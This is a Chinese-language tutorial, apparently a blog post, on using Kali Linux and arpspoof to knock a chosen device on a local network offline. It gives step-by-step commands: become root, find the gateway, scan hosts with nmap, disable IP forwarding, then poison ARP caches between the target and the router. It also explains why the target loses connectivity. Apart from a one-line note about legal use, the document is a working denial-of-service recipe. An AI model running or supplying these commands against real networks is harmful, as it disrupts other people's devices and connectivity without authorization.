ARP欺骗使局域网内设备断网

一、实验准备

  1. kali系统:可使用虚拟机软件模拟

    kali虚拟机镜像链接:https://www.kali.org/get-kali/#kali-virtual-machines

    注意虚拟机网络适配器采用桥接模式

  2. 局域网内存在指定断网的设备

二、实验步骤

  1. 打开kali系统命令行:ctrl+alt+t可快速打开终端

  2. 切换到root用户

    bash 复制代码
    sudo su
  3. 查看当前网段

    bash 复制代码
    ifconfig

    inet 192.168.10.145 netmask 255.255.255.0

    表明当前网段为192.168.10.0

  4. 查看当前路由器ip地址

    bash 复制代码
    ip route

    default via 192.168.10.1 dev eth0 proto dhcp src 192.168.10.145 metric 100

    192.168.10.0/24 dev eth0 proto kernel scope link src 192.168.10.145 metric 10

    表明路由器ip为192.168.10.1

  5. 扫描查看目标设备ip

    bash 复制代码
    nmap -sn 192.168.10.1/24  # 使用 Nmap 发现网络中的活动主机,等效于nmap -sn 192.168.10.1-255

    根据设备名称找到对应ip

  6. 设置kali系统不转发数据

    bash 复制代码
    echo 0 > /proc/sys/net/ipv4/ip_forward
  7. 执行arp欺骗

    bash 复制代码
    arpspoof -i eth0 -t 192.168.10.137 -r 192.168.10.1
    • -i: 指定使用的网卡
    • -t:指定欺骗的设备ip地址
    • -r:指定欺骗的路由器ip地址
  8. 目标设备无法获取新数据

三、原理

ARP欺骗

  1. 复制路由器mac地址,伪装为路由器并通知目标设备,以便后续目标设备将数据交给kali
  2. 复制目标设备mac地址,伪装为目标设备并通知路由器,以便后续路由器将数据交给kali
  3. 但kali设置不转发数据,因此路由器和目标设备发送至kali的所有数据均被抛弃,致使目标设备无法与路由器沟通无法获取数据

四、特别注意

请在合法场景下进行实验

相关推荐
小麦嵌入式22 分钟前
Linux驱动开发实战(十一):GPIO子系统深度解析与RGB LED驱动实践
linux·c语言·驱动开发·stm32·嵌入式硬件·物联网·ubuntu
刘若水24 分钟前
Linux: 进程信号初识
linux·运维·服务器
共享家95273 小时前
深入剖析Linux常用命令,助力高效操作
linux·运维·服务器
Zfox_3 小时前
【C++项目】从零实现RPC框架「四」:业务层实现与项目使用
linux·开发语言·c++·rpc·项目
吃旺旺雪饼的小男孩3 小时前
Ubuntu 22.04 安装和运行 EDK2 超详细教程
linux·运维·ubuntu
IT小馋猫3 小时前
Linux 企业项目服务器组建(附脚本)
linux·服务器·网络
阿政一号3 小时前
Linux进程间通信:【目的】【管道】【匿名管道】【命名管道】【System V 共享内存】
linux·运维·服务器·进程间通信
又过一个秋4 小时前
【sylar-webserver】7 定时器模块
linux·c++
啊哦1114 小时前
配置防火墙和SELinux(1)
linux·服务器·网络
唐青枫4 小时前
Linux 换行符的使用详解
linux